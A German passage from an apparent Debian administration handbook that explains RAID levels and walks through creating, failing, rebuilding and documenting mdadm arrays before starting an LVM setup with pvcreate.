RAID bedeutet Redundant Array of Independent Disks (Redundante Anordnung unabhängiger Festplatten). Ziel dieses Systems ist es, Datenverluste im Falle eines Festplattenausfalls zu vermeiden. Das allgemeine Prinzip ist recht einfach: Daten werden mit einem einstellbaren Grad von Redundanz auf mehreren physischen Platten gespeichert statt nur auf einer. In Abhängigkeit vom Ausmaß dieser Redundanz können Daten selbst bei einem unerwarteten Plattenausfall ohne Verluste von den verbleibenden Platten wieder hergestellt werden.

KULTUR Unabhängig oder preiswert?

Das I in RAID stand ursprünglich für inexpensive (preiswert), da RAID eine erhebliche Steigerung der Datensicherheit ermöglichte, ohne in teure und hochwertige Platten investieren zu müssen. Wahrscheinlich aus Imagegründen ist es inzwischen jedoch üblicher, es als Abkürzung für independent (unabhängig) anzusehen, das nicht den unangenehmen Beigeschmack des Billigen hat.

RAID kann entweder mit speziell hierfür vorgesehener Hardware eingerichtet werden (mit RAID-Modulen, die in SCSI- oder SATA-Controllerkarten integriert sind) oder durch Softwareabstraktion (den Kernel). Ob Hard- oder Software, ein RAID-System mit ausreichender Redundanz kann in transparenter Weise funktionsfähig bleiben, wenn eine Platte ausfällt. Die oberen Abstraktionsschichten (Anwendungen) können trotz des Ausfalls weiterhin auf die Daten zugreifen. Dieser „eingeschränkte Modus“ kann natürlich Auswirkungen auf die Leistung haben, und die Redundanz ist geringer, so dass ein weiterer Plattenausfall dann zu Datenverlust führen kann. Daher wird man in der Praxis versuchen, nur solange in diesem eingeschränkten Modus zu verbleiben, wie das Ersetzen der ausgefallenen Platte dauert. Sobald die neue Platte eingebaut ist, kann das RAID-System die erforderlichen Daten wieder herstellen, um so zu einem sicheren Modus zurückzukehren. Die Anwendungen werden hiervon nichts bemerken, abgesehen von einer möglicherweise verringerten Zugriffsgeschwindigkeit während sich die Anordnung im eingeschränkten Modus oder im Stadium der Wiederherstellung befindet.

12.1.1.1. Unterschiedliche RAID-Stufen

RAID hat von Haus aus unterschiedliche Stufen, die sich in ihrem Aufbau unterscheiden und in dem Ausmaß der Redundanz, die sie bereitstellen. Je redundanter desto ausfallsicherer, da das System mit einer höheren Anzahl ausgefallener Platten weiter funktionieren kann. Die Kehrseite ist, dass der verfügbare Platz geringer wird; oder anders ausgedrückt, es werden mehr Platten benötigt, um dieselbe Datenmenge zu speichern.

Lineares RAID

Obwohl das RAID-Subsystem des Kernels die Einrichtung eines „linearen RAIDs“ ermöglicht, ist dies kein wirkliches RAID, da sein Aufbau keinerlei Redundanz enthält. Der Kernel reiht lediglich mehrere Platten von Anfang bis Ende aneinander und stellt den sich daraus ergebenden zusammengefassten Datenträger als eine virtuelle Platte (ein Blockgerät) bereit. Das ist so gut wie seine einzige Funktion. Dieser Aufbau wird selten für sich allein verwendet (Ausnahmen werden weiter unten erläutert), insbesondere da die fehlende Redundanz dazu führt, dass bei Ausfall einer Platte der gesamte Datenträger und damit alle Daten nicht mehr verfügbar sind.

RAID-0

Diese Stufe stellt ebenfalls keinerlei Redundanz bereit, aber die Platten werden nicht einfach aneinandergereiht: sie werden in Streifen unterteilt, und die Blöcke des virtuellen Geräts werden in Streifen abwechselnd auf den physischen Platten abgespeichert. So werden zum Beispiel bei einem RAID-0-Aufbau, der aus zwei Platten besteht, die geradzahligen Blöcke des virtuellen Geräts auf der ersten physischen Platte gespeichert, während die ungeradzahligen Blöcke auf der zweiten physischen Platte landen.

Dieses System beabsichtigt nicht, die Zuverlässigkeit zu erhöhen, da (wie beim linearen RAID) die Verfügbarkeit der Daten gefährdet ist, sobald eine Platte ausfällt, sondern die Leistung zu erhöhen: beim sequentiellen Zugriff auf große Mengen zusammenhängender Daten kann der Kernel gleichzeitig von beiden Platten lesen (oder auf sie schreiben), wodurch die Datenübertragungsrate erhöht wird. Die Verwendung von RAID-0 geht jedoch zurück, da seine Nische durch LVM gefüllt wird (siehe unten).

RAID-1

Diese Stufe, die auch als „RAID-Spiegelung“ bezeichnet wird, ist der einfachste und am häufigsten verwendete Aufbau. In seiner Standardform verwendet er zwei physische Platten gleicher Größe und stellt einen logischen Datenträger von ebenfalls gleicher Größe bereit. Daten werden auf beiden Platten identisch gespeichert, daher die Bezeichnung „Spiegel“. Wenn eine Platte ausfällt, sind die Daten auf der anderen weiterhin verfügbar. Für sehr kritische Daten kann RAID-1 natürlich auch auf mehr als zwei Platten eingerichtet werden, mit direkter Auswirkung auf das Verhältnis von Hardwarekosten zu nutzbarem Speicherplatz.

HINWEIS Platten und Clustergrößen

Wenn zwei Platten unterschiedlicher Größe als Spiegel eingerichtet werden, wird die größere nicht vollständig benutzt, da sie die gleichen Daten wie die kleinere enthält und sonst nichts. Der von einem RAID-1-Volume bereitgestellte nutzbare Platz entspricht daher der Größe der kleinsten Platte dieser Anordnung. Dies gilt auch für RAID-Volumes einer höheren RAID-Stufe, obwohl dort die Redundanz anders abgespeichert wird.

Es ist daher wichtig, beim Einrichten von RAID-Anordnungen (außer von RAID-0 und „linearem RAID“) nur Platten gleicher oder sehr ähnlicher Größe zu verbinden, um die Verschwendung von Ressourcen zu vermeiden.

HINWEIS Reserveplatten

RAID-Stufen, die Redundanz enthalten, ermöglichen es, mehr Platten als nötig einem Verbund zuzuordnen. Diese zusätzlichen Platten dienen als Reserve für den Fall, dass eine der Hauptplatten ausfällt. Zum Beispiel wird der Kernel in einem Spiegel aus zwei Platten und einer Reserveplatte, wenn eine der ersten beiden ausfällt, automatisch (und sofort) den Spiegel unter Verwendung der Reserveplatte neu aufbauen, so dass die Redundanz nach Abschluss des Wiederaufbaus weiterhin gewährleistet ist. Dies kann als weitere Schutzmaßnahme für kritische Daten genutzt werden.

Man könnte sich natürlich fragen, wieso dies besser ist als gleich von Anfang an auf drei Platten zu spiegeln. Der Vorteil der Anordnung mit einer „Reserveplatte“ besteht darin, dass die Reserveplatte von mehreren RAID-Volumes gemeinsam benutzt werden kann. So kann man zum Beispiel mit nur sieben Platten (drei Paaren und einer Reserve für alle) statt neun, die für drei Dreiergruppen erforderlich wären, drei gespiegelte Volumes haben, bei denen die Redundanz selbst beim Ausfall einer Platte gewährleistet bleibt.

Diese RAID-Stufe wird in der Praxis häufig verwendet, obwohl sie kostspielig ist (da der physische Speicherplatz allenfalls zur Hälfte genutzt werden kann). Sie ist einfach zu verstehen und ermöglicht sehr einfache Sicherheitskopien: da beide Platten den gleichen Inhalt haben, kann eine von ihnen ohne Auswirkung auf das arbeitende System vorübergehend entfernt werden. Die Leseleistung ist häufig höher, da der Kernel auf jeder Platte eine Hälfte der Daten gleichzeitig lesen kann, während die Schreibleistung nicht allzu stark vermindert ist. Bei einer RAID-Anordnung von N Platten bleiben die Daten selbst bei einem Ausfall von N-1 Platten erhalten.

RAID-4

Diese selten verwendete RAID-Stufe verwendet N Platten zur Speicherung nutzbarer Daten und eine zusätzliche Platte zur Speicherung der Redundanzinformation. Falls diese Platte ausfällt, kann das System ihren Inhalt aus den übrigen N Platten wieder herstellen. Falls eine der N Platten ausfällt, enthalten die verbleibenden N-1 Platten zusammen mit der „Paritätsplatte“ genügend Informationen, um die erforderlichen Daten wieder herzustellen.

RAID-4 ist nicht allzu kostspielig, da es nur zu zusätzlichen Kosten in Höhe von Eins-in-N führt. Es hat keinen spürbaren Einfluss auf die Leseleistung, verlangsamt aber das Schreiben. Da außerdem jeder Schreibvorgang auf einer der N Platten auch einen Schreibvorgang auf der Paritätsplatte erfordert, finden auf letzterer sehr viel mehr Schreibvorgänge als auf den anderen statt, und ihre Lebensdauer kann folglich deutlich verkürzt sein. Daten in einer RAID-4-Anordnung sind lediglich bis zum Ausfall einer Platte (der N+1 Platten) sicher.

RAID-5

RAID-5 behebt das Problem der Asymmetrie von RAID-4: Paritätsblöcke sind über alle N+1 Platten verteilt, ohne dass eine einzelne Platte eine besondere Rolle spielt.

Die Lese- und Schreibleistung ist die gleiche wie bei RAID-4. Auch hier bleibt das System funktionsfähig, wenn eine der N+1 Platten ausfällt, jedoch nicht mehr.

RAID-6

RAID-6 kann als Erweiterung von RAID-5 angesehen werden, wobei jeder Reihe von N Blöcken zwei Redundanzblöcke zugeordnet sind, und jede dieser Serien von N+2 Blöcken über N+2 Platten verteilt ist.

Diese RAID-Stufe ist etwas teurer als die zwei vorhergehenden, bietet jedoch etwas mehr Sicherheit, da bis zu zwei der N+2 Platten ausfallen können, ohne dass die Datenverfügbarkeit gefährdet ist. Die Kehrseite ist, dass jeder Schreibvorgang jetzt das Schreiben eines Datenblocks und zweier Redundanzblöcke erfordert, wodurch er noch langsamer wird.

RAID-1+0

Dies ist genau genommen keine RAID-Stufe, sondern ein Zusammenfassen zweier RAID-Gruppen. Ausgehend von 2xN Platten werden diese zunächst paarweise in N RAID-1-Volumes angeordnet. Diese N Volumes werden dann entweder durch „lineares RAID“ oder (immer häufiger) durch LVM zu einem einzigen Volume zusammengefasst. Letzteres geht über reines RAID hinaus. Das ist jedoch nicht problematisch.

RAID-1+0 kann den Ausfall mehrerer Platten überstehen und zwar bis zu N der oben beschriebenen 2xN-Anordnung, vorausgesetzt, dass in jedem der RAID-1-Paare wenigstens noch eine Platte funktioniert.

WEITERE SCHRITTE RAID-10

RAID-10 wird im Allgemeinen als ein Synonym für RAID-1+0 angesehen, jedoch führt eine Besonderheit von Linux zu dieser Verallgemeinerung. Diese Anordnung ermöglicht ein System, bei dem jeder Block selbst bei einer ungeraden Plattenanzahl auf zwei unterschiedlichen Platten gespeichert ist, wobei die Kopien einem konfigurierbaren Modell entsprechend verteilt werden.

Die Leistung kann in Abhängigkeit von dem gewählten Repartitionierungsmodell und Redundanzniveau sowie von der Arbeitslast des logischen Volumes unterschiedlich sein.

Natürlich wird die RAID-Stufe in Abhängigkeit von den Beschränkungen und Erfordernissen jeder Anwendung gewählt. Man beachte, dass ein einzelner Rechner über mehrere unterschiedliche RAID-Anordnungen mit unterschiedlichen Konfigurationen verfügen kann.

12.1.1.2. RAID einrichten

Zur Einrichtung von RAID-Volumes wird das Paket mdadm benötigt. Es stellt den Befehl mdadm zur Verfügung, mit dem RAID-Anordnungen erstellt und verändert werden können, wie auch Skripten und Hilfsprogramme, mit denen es in das übrige System integriert werden kann, einschließlich eines Überwachungssystems.

Als Beispiel nehmen wir einen Server mit einer Anzahl von Platten, von denen einige bereits benutzt werden, während der Rest für die Einrichtung des RAID zur Verfügung steht. Zu Beginn haben wir die folgenden Platten und Partitionen:

die Platte sda, 4 GB, ist vollständig verfügbar;

die Platte sde, 4 GB, ist ebenfalls vollständig verfügbar;

auf der Platte sdg ist nur die Partition sdg2 (ungefähr 4 GB) verfügbar;

schließlich ist die Platte sdh, ebenfalls 4 GB, vollständig verfügbar.

Wir werden diese physischen Komponenten zur Einrichtung zweier Volumes verwenden, eines RAID-0 und eines Spiegels (RAID-1). Wir beginnen mit dem RAID-0-Volume:

HINWEIS Bestehende RAID-Volumes identifizieren

Die Datei /proc/mdstat führt bestehende Volumes und ihren Zustand auf. Wenn ein neues RAID-Volume erstellt wird, sollte darauf geachtet werden, es nicht wie ein bestehendes Volume zu benennen.

# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sda /dev/sde mdadm: Defaulting to version 1.2 metadata mdadm: array /dev/md0 started. # mdadm --query /dev/md0 /dev/md0: 8.00GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail. # mdadm --detail /dev/md0 /dev/md0: Version : 1.2 Creation Time : Thu Sep 30 15:21:15 2010 Raid Level : raid0 Array Size : 8388480 (8.00 GiB 8.59 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Thu Sep 30 15:21:15 2010 State : active Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Chunk Size : 512K Name : squeeze:0 (local to host squeeze) UUID : 0012a273:cbdb8b83:0ee15f7f:aec5e3c3 Events : 0 Number Major Minor RaidDevice State 0 8 0 0 active sync /dev/sda 1 8 64 1 active sync /dev/sde # mkfs.ext4 /dev/md0 mke2fs 1.41.12 (17-May-2010) Filesystem label= OS type: Linux Block size=4096 (log=2) Fragment size=4096 (log=2) Stride=0 blocks, Stripe width=0 blocks 524288 inodes, 2097152 blocks 104857 blocks (5.00%) reserved for the super user First data block=0 Maximum filesystem blocks=2147483648 55 block groups 32768 blocks per group, 32768 fragments per group 8160 inodes per group Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632 Writing inode tables: done Creating journal (32768 blocks): done Writing superblocks and filesystem accounting information: done This filesystem will be automatically checked every 26 mounts or 180 days, whichever comes first. Use tune2fs -c or -i to override. # mkdir /srv/raid-0 # mount /dev/md0 /srv/raid-0 # df -h /srv/raid-0 Filesystem Size Used Avail Use% Mounted on /dev/md0 8.0G 249M 7.4G 4% /srv/raid-0

Der Befehl mdadm --create erfordert mehrere Parameter: den Namen des zu erstellenden Volumes (/dev/md*, wobei MD Multiple Device bedeutet), die RAID-Stufe, die Anzahl der Platten (die in jedem Fall angegeben werden muss, obwohl dies nur bei RAID-1 oder höher Sinn macht) und die zu verwendenden physischen Laufwerke. Nachdem das Gerät erstellt ist, können wir es wie eine normale Partition verwenden, auf ihm ein Dateisystem einrichten, dieses Dateisystem einhängen und so weiter. Man beachte, dass unsere Einrichtung eines RAID-0-Volumes auf md0 nur Zufall ist, und dass die Nummerierung der Anordnung nicht der gewählten Redundanzstufe entsprechen muss.

Die Erstellung eines RAID-1 erfolgt auf ähnliche Weise; die Unterschiede machen sich erst nach der Erstellung bemerkbar:

# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdg2 /dev/sdh mdadm: largest drive (/dev/sdg2) exceed size (4194240K) by more than 1% Continue creating array? y mdadm: array /dev/md1 started. # mdadm --query /dev/md1 /dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail. # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Thu Sep 30 15:39:13 2010 Raid Level : raid1 Array Size : 4194240 (4.00 GiB 4.29 GB) Used Dev Size : 4194240 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Thu Sep 30 15:39:26 2010 State : active, resyncing Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Rebuild Status : 10% complete Name : squeeze:1 (local to host squeeze) UUID : 20a8419b:41612750:b9171cfe:00d9a432 Events : 27 Number Major Minor RaidDevice State 0 8 98 0 active sync /dev/sdg2 1 8 112 1 active sync /dev/sdh # mdadm --detail /dev/md1 /dev/md1: [...] State : active [...]

TIPP RAID, Platten und Partitionen

Wie in unserem Beispiel gezeigt, können RAID-Geräte aus Plattenpartitionen erstellt werden und erfordern keine vollständigen Platten.

Einige Bemerkungen sind angebracht. Zunächst stellt mdadm fest, dass die physischen Komponenten von unterschiedlicher Größe sind; da dies bedeutet, dass auf der größeren Komponente einiger Platz verloren geht, ist eine Bestätigung erforderlich.

Wichtiger ist es aber, den Zustand des Spiegels zu beachten. Im Normalzustand eines RAID-Spiegels haben beide Platten genau denselben Inhalt. Jedoch stellt nichts sicher, dass dies der Fall ist, wenn der Datenträger erstmalig erstellt wird. Das RAID-Subsystem gewährleistet dieses daher selbst, und es gibt eine Synchronisierungsphase, sobald das RAID-Gerät erzeugt worden ist. Einige Zeit später (die genaue Dauer hängt von der jeweiligen Größe der Platten ab...), schaltet die RAID-Anordnung in den „aktiven“ Zustand um. Man beachte, dass sich der Spiegel während dieser Rekonstruktionsphase in einem eingeschränkten Zustand befindet und Redundanz nicht sichergestellt ist. Ein Plattenausfall während dieser Risikolücke könnte zu einem vollständigen Verlust aller Daten führen. Jedoch werden kritische Daten selten in großer Menge auf einer neu erstellten RAID-Anordnung vor ihrer anfänglichen Synchronisierung gespeichert. Man beachte, dass selbst im eingeschränkten Zustand /dev/md1 benutzt werden kann, dass auf ihm ein Dateisystem erstellt werden kann, und dass Daten auf ihm abgelegt werden können.

TIPP Einen Spiegel in eingeschränktem Zustand starten

Manchmal sind zwei Platten nicht unmittelbar verfügbar, wenn man einen RAID-1-Spiegel einrichten möchte, weil zum Beispiel eine der hierfür vorgesehenen Platten bereits zur Speicherung der Daten benutzt wird, die man auf die Anordnung verschieben möchte. In solch einem Fall ist es möglich, vorsätzlich eine eingeschränkte RAID-1-Anordnung zu erzeugen, indem man als eines der Argumente missing statt einer Gerätedatei an mdadm übergibt. Sobald dann die Daten auf den „Spiegel“ kopiert worden sind, kann die alte Platte der Anordnung hinzugefügt werden. Anschließend wird eine Synchronisierung stattfinden, die zu der Redundanz führt, die wir von vornherein angestrebt hatten.

TIPP Einen Spiegel ohne Synchronisierung einrichten

RAID-1-Volumes werden häufig erstellt, um als neue Platten, die oft als leer erachtet werden, verwendet zu werden. Der ursprüngliche tatsächliche Inhalt der Platte ist daher nicht sehr relevant, da man nur sicher sein will, dass die Daten, die nach der Erstellung des Datenträgers geschrieben werden, und hier insbesondere das Dateisystem, anschließend zugänglich sind.

Man könnte sich daher fragen, wozu die Synchronisierung der beiden Platten zur Zeit der Erstellung gut ist. Warum sollte man sich darum kümmern, ob der Inhalt in Bereichen des Datenträgers gleich ist, von denen wir wissen, dass sie erst gelesen werden, nachdem wir etwas auf sie geschrieben haben?

Glücklicherweise kann diese Synchronisierungsphase vermieden werden, indem man die Option --assume-clean an mdadm übergibt. Diese Option kann jedoch in den Fällen zu Überraschungen führen, in denen die ursprünglichen Daten gelesen werden (falls zum Beispiel bereits ein Dateisystem auf der physischen Platte vorhanden ist). Deshalb ist sie nicht standardmäßig aktiviert.

Nun wollen wir sehen, was passiert, wenn eine der Komponenten der RAID-1-Anordnung ausfällt. Mit mdadm, genauer gesagt mit seiner Option --fail, lässt sich ein derartiger Plattenausfall simulieren:

# mdadm /dev/md1 --fail /dev/sdh mdadm: set /dev/sdh faulty in /dev/md1 # mdadm --detail /dev/md1 /dev/md1: [...] Update Time : Thu Sep 30 15:45:50 2010 State : active, degraded Active Devices : 1 Working Devices : 1 Failed Devices : 1 Spare Devices : 0 Name : squeeze:1 (local to host squeeze) UUID : 20a8419b:41612750:b9171cfe:00d9a432 Events : 35 Number Major Minor RaidDevice State 0 8 98 0 active sync /dev/sdg2 1 0 0 1 removed 2 8 112 - faulty spare /dev/sdh

Der Inhalt des Datenträgers ist weiterhin zugänglich (und falls er eingehängt ist, bemerken die Anwendungen nichts), aber die Sicherheit der Daten ist nicht mehr gewährleistet: sollte die Platte sdg ebenfalls ausfallen, wären die Daten verloren. Wir möchten dieses Risiko vermeiden und werden daher die ausgefallene Platte durch eine neue, sdi, ersetzen:

# mdadm /dev/md1 --add /dev/sdi mdadm: added /dev/sdi # mdadm --detail /dev/md1 /dev/md1: [...] Raid Devices : 2 Total Devices : 3 Persistence : Superblock is persistent Update Time : Thu Sep 30 15:52:29 2010 State : active, degraded, recovering Active Devices : 1 Working Devices : 2 Failed Devices : 1 Spare Devices : 1 Rebuild Status : 45% complete Name : squeeze:1 (local to host squeeze) UUID : 20a8419b:41612750:b9171cfe:00d9a432 Events : 53 Number Major Minor RaidDevice State 0 8 98 0 active sync /dev/sdg2 3 8 128 1 spare rebuilding /dev/sdi 2 8 112 - faulty spare /dev/sdh # [...] [...] # mdadm --detail /dev/md1 /dev/md1: [...] Update Time : Thu Sep 30 15:52:35 2010 State : active Active Devices : 2 Working Devices : 2 Failed Devices : 1 Spare Devices : 0 Name : squeeze:1 (local to host squeeze) UUID : 20a8419b:41612750:b9171cfe:00d9a432 Events : 71 Number Major Minor RaidDevice State 0 8 98 0 active sync /dev/sdg2 1 8 128 1 active sync /dev/sdi 2 8 112 - faulty spare /dev/sdh

Auch in diesem Fall löst der Kernel automatisch eine Rekonstruktionsphase aus, während der sich der Datenträger in eingeschränktem Zustand befindet, auch wenn er weiterhin zugänglich ist. Sobald die Rekonstruktion vorüber ist, befindet sich die RAID-Anordnung wieder in normalem Zustand. Man kann dem System dann mitteilen, dass die Platte sdh aus der Anordnung entfernt werden wird, um so zu einem typischen RAID-Spiegel auf zwei Platten zu gelangen:

# mdadm /dev/md1 --remove /dev/sdh mdadm: hot removed /dev/sdh from /dev/md1 # mdadm --detail /dev/md1 /dev/md1: [...] Number Major Minor RaidDevice State 0 8 98 0 active sync /dev/sdg2 1 8 128 1 active sync /dev/sdi

Von da an kann das Laufwerk physisch entfernt werden, sobald der Server das nächste Mal abgestellt wird, oder sogar im laufenden Betrieb, falls die Hardware-Konfiguration dies erlaubt. Zu derartigen Konfigurationen gehören einige SCSI-Controller, die meisten SATA-Platten und externe Laufwerke, die über USB oder Firewire betrieben werden.

12.1.1.3. Die Konfiguration sichern

Die meisten Meta-Daten, die RAID-Datenträger betreffen, werden direkt auf den Platten gespeichert, aus denen diese Anordnungen bestehen, so dass der Kernel diese Anordnungen und ihre Komponenten erkennen und sie selbsttätig zusammenstellen kann, wenn das System hochfährt. Es wird jedoch empfohlen, eine Sicherungskopie dieser Konfiguration zu erstellen, da diese Erkennung nicht ausfallsicher ist, und da sie voraussichtlich gerade in einer prekären Situation ausfallen wird. Wenn in unserem Beispiel der Ausfall der Platte sdh tatsächlich stattgefunden hätte (statt ihn nur zu simulieren) und das System neu gestartet worden wäre, ohne die Platte sdh zu entfernen, würde diese Platte möglicherweise wieder funktionieren, da sie während des Neustarts überprüft worden wäre. Der Kernel hätte dann drei physische Komponenten, von denen jede angeblich eine Hälfte desselben RAID-Volumes enthält. Weitere Verwirrung könnte entstehen, wenn RAID-Datenträger von zwei Servern auf einem zusammengefasst werden. Falls diese Anordnungen vor ihrem Umzug normal funktionierten, wäre der Kernel in der Lage, die Paare korrekt zu erkennen und neu zusammenzustellen. Falls die verlegten Platten jedoch auf dem vorherigen Server zu einem md1 zusammengefasst waren, und der jetzige Server bereits ein md1 hat, würde einer der Spiegel umbenannt werden.

Es ist daher wichtig, die Konfiguration zu sichern, selbst wenn dies nur zu Referenzzwecken geschieht. Das normale Verfahren besteht darin, die Datei /etc/mdadm/mdadm.conf zu editieren, von der hier ein Beispiel gezeigt wird:

Example 12.1. Konfigurationsdatei mdadm

# mdadm.conf # # Please refer to mdadm.conf(5) for information about this file. # # by default, scan all partitions (/proc/partitions) for MD superblocks. # alternatively, specify devices to scan, using wildcards if desired. DEVICE /dev/sd* # auto-create devices with Debian standard permissions CREATE owner=root group=disk mode=0660 auto=yes # automatically tag new arrays as belonging to the local system HOMEHOST <system> # instruct the monitoring daemon where to send mail alerts MAILADDR root ARRAY /dev/md0 metadata=1.2 name=squeeze:0 UUID=6194b63f:69a40eb5:a79b7ad3:c91f20ee ARRAY /dev/md1 metadata=1.2 name=squeeze:1 UUID=20a8419b:41612750:b9171cfe:00d9a432

Einer der nützlichsten Bestandteile ist die Option DEVICE, mit der die Geräte aufgelistet werden, bei denen das System beim Start selbstständig nach Komponenten des RAID-Volumes suchen soll. In unserem Beispiel haben wir die Voreinstellung partitions durch eine eindeutige Liste mit Gerätedateien ersetzt, da wir uns entschieden haben, für einige Datenträger ganze Platten und nicht nur Partitionen zu verwenden.

Die letzten beiden Zeilen unseres Beispiels ermöglichen es dem Kernel sicher auszuwählen, welche Volume-Nummer welcher Anordnung zugewiesen werden soll. Die auf den Platten selbst gespeicherten Meta-Daten reichen aus, die Volumes wieder zusammenzustellen, jedoch nicht, die Volume-Nummer zu bestimmen (und den dazu passenden Gerätenamen /dev/md*).

Glücklicherweise können diese Zeilen automatisch erstellt werden:

# mdadm --misc --detail --brief /dev/md? ARRAY /dev/md0 metadata=1.2 name=squeeze:0 UUID=6194b63f:69a40eb5:a79b7ad3:c91f20ee ARRAY /dev/md1 metadata=1.2 name=squeeze:1 UUID=20a8419b:41612750:b9171cfe:00d9a432

Der Inhalt dieser letzten beiden Zeilen ist nicht von der Liste der Platten abhängig, die zu dem Volume gehören. Es ist daher nicht erforderlich, diese Zeilen neu zu erstellen, wenn eine ausgefallene Platte durch eine neue ersetzt wird. Andererseits ist darauf zu achten, dass die Datei aktualisiert wird, wenn eine RAID-Anordnung erstellt oder gelöscht wird.

12.1.2. LVM

LVM, der Logical Volume Manager, ist ein anderer Ansatz, um logische Volumes von ihren physischen Grundlagen zu trennen, der seinen Schwerpunkt auf größere Flexibilität statt auf größere Zuverlässigkeit legt. LVM ermöglicht es, was die Anwendungen betrifft, ein logisches Volume transparent auszuwechseln. Es ist zum Beispiel möglich, neue Platten hinzuzufügen, Daten auf sie zu verschieben, und dann die alten Platten zu entfernen, ohne das Volume auszuhängen.

12.1.2.1. LVM-Konzepte

Diese Flexibilität wird durch eine Abstraktionsstufe erreicht, zu der drei Konzepte gehören.

Das PV (Physical Volume) ist das Element, das der Hardware am nächsten ist: es kann aus Partitionen auf einer Platte bestehen, aus einer ganzen Platte oder auch aus jedem anderen Blockgerät. Man beachte, dass auf eine physische Komponente, wenn sie als PV für einen LVM eingerichtet ist, nur über den LVM zugegriffen wird, da das System sonst verwirrt wird.

Eine Anzahl von PVs kann zu einer VG (Volume Group) zusammengefasst werden, die als virtuelle und erweiterbare Platte angesehen werden kann. VGs sind abstrakt und erscheinen nicht in einer Gerätedatei in der /dev-Hierarchie, so dass nicht die Gefahr besteht, dass sie direkt benutzt werden.

Die dritte Art von Objekten ist das LV (Logical Volume), das aus einer Menge von VGs besteht. Wenn wir die Analogie beibehalten, dass eine VG eine Platte ist, kann das LV als eine Partition angesehen werden. Das LV erscheint als Blockgerät mit einem Eintrag in /dev, und es kann wie jede andere physische Partition verwendet werden (am häufigsten, um ein Dateisystem oder Auslagerungsspeicher aufzunehmen).

Wichtig ist, dass das Aufteilen einer VG in LVs von ihren physischen Komponenten (den PVs) völlig unabhängig ist. Eine VG, die nur aus einer einzelnen physischen Komponente besteht (zum Beispiel einer Platte), kann in ein Dutzend logischer Volumes unterteilt werden. In ähnlicher Weise kann eine VG mehrere physische Platten verwenden und dennoch als ein einziges großes logisches Volume erscheinen. Die einzige Beschränkung besteht darin, dass die Gesamtgröße, die den LVs zugeteilt ist, natürlich nicht größer als die Gesamtkapazität der PVs in dieser Volumegruppe sein kann.

Es macht jedoch häufig Sinn, eine gewisse Einheitlichkeit unter den physischen Komponenten einer VG einzuhalten, und die VG in logische Volumes zu unterteilen, die ähnliche Verwendungsmuster haben. Falls die verfügbare Hardware zum Beispiel schnellere und langsamere Platten enthält, könnten die schnelleren zu einer VG zusammengefasst werden und die langsameren zu einer anderen. Teile der ersten können dann Anwendungen zugeordnet werden, die schnellen Datenzugriff erfordern, während die zweite weniger anspruchsvollen Aufgaben vorbehalten bleibt.

In jedem Fall sollte man sich merken, dass ein LV nicht ausdrücklich einem bestimmten PV zugeordnet ist. Man kann den Ort, an dem die Daten eines LV physisch gespeichert werden, beeinflussen, jedoch ist diese Möglichkeit für den täglichen Gebrauch nicht notwendig. Im Gegenteil: wenn sich der Satz physischer Komponenten einer VG weiterentwickelt, können die physischen Speicherorte, die einem bestimmten LV entsprechen, über Platten hinweg verschoben werden (wobei sie natürlich innerhalb der PVs verbleiben müssen, die der VG zugeordnet sind).

12.1.2.2. Einen LVM einrichten

Wir wollen nun Schritt für Schritt den Prozess der Einrichtung eines LVM für einen typischen Anwendungsfall verfolgen: wir wollen eine komplizierte Speichersituation vereinfachen. Eine derartige Situation entsteht normalerweise aus einer langen und verwickelten Abfolge sich anhäufender temporärer Maßnahmen. Zu Illustrationszwecken nehmen wir einen Server an, bei dem die Speicherbedürfnisse sich im Laufe der Zeit verändert und schließlich zu einem Gewirr verfügbarer Partitionen geführt haben, die über mehrere teilweise genutzte Platten verteilt sind. Genauer gesagt sind folgende Partitionen vorhanden:

auf der Platte sdb eine Partition sdb2, 4 GB;

auf der Platte sdc eine Partition sdc3, 3 GB;

die Platte sdd, 4 GB, vollständig verfügbar;

auf der Platte sdf eine Partition sdf1, 4 GB; und eine Partition sdf2, 5 GB.

Zusätzlich nehmen wir an, dass die Platten sdb und sdf schneller als die anderen beiden sind.

Unser Ziel ist es, drei logische Volumes für drei verschiedene Anwendungen einzurichten: einen Dateiserver (der 5 GB Speicherplatz benötigt), eine Datenbank (1 GB) und Speicherplatz für Sicherungskopien (12 GB). Die ersten beiden erfordern eine gute Leistung, wohingegen bei den Sicherungen die Zugriffsgeschwindigkeit weniger entscheidend ist. Alle diese Einschränkungen verhindern die Verwendung einzelner Partitionen. Durch den Einsatz eines LVM kann von der physischen Größe der Geräte abstrahiert werden, so dass nur der insgesamt verfügbare Platz als Begrenzung verbleibt.

Die erforderlichen Hilfsprogramme befinden sich in dem Paket lvm2 und seinen Abhängigkeiten. Wenn sie installiert sind, erfolgt die Einrichtung eines LVM in drei Schritten, entsprechend den drei Konzeptstufen.

Zunächst erstellen wir mit pvcreate die physischen Volumes:

# pvdisplay # pvcreate /dev/sdb2 Physical volume "/dev/sdb2" successfully created # pvdisplay "/dev/sdb2" is a new physical volume of "4,00 GiB" --- NEW Physical volume --- PV Name /dev/sdb2 VG Name PV Size 4.00 GiB Allocatable NO PE Size (KByte) 0 Total PE 0 Free PE 0 Allocated PE 0 PV UUID 9JuaGR-W7jc-pNgj-NU4l-2IX1-kUJ7-m8cRim # for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done Physical volume "/dev/sdc3" successfully created Physical volume "/dev/sdd" successfully created Physical volume "/dev/sdf1" successfully created Physical volume "/dev/sdf2" successfully created # pvdisplay -C PV VG Fmt Attr PSize PFree /dev/sdb2 lvm2 a- 4.00g 4.00g /dev/sdc3 lvm2 a- 3.09g 3.09g /dev/sdd lvm2 a- 4.00g 4.00g /dev/sdf1 lvm2 a- 4.10g 4.10g /dev/sdf2 lvm2 a- 5.22g 5.22g

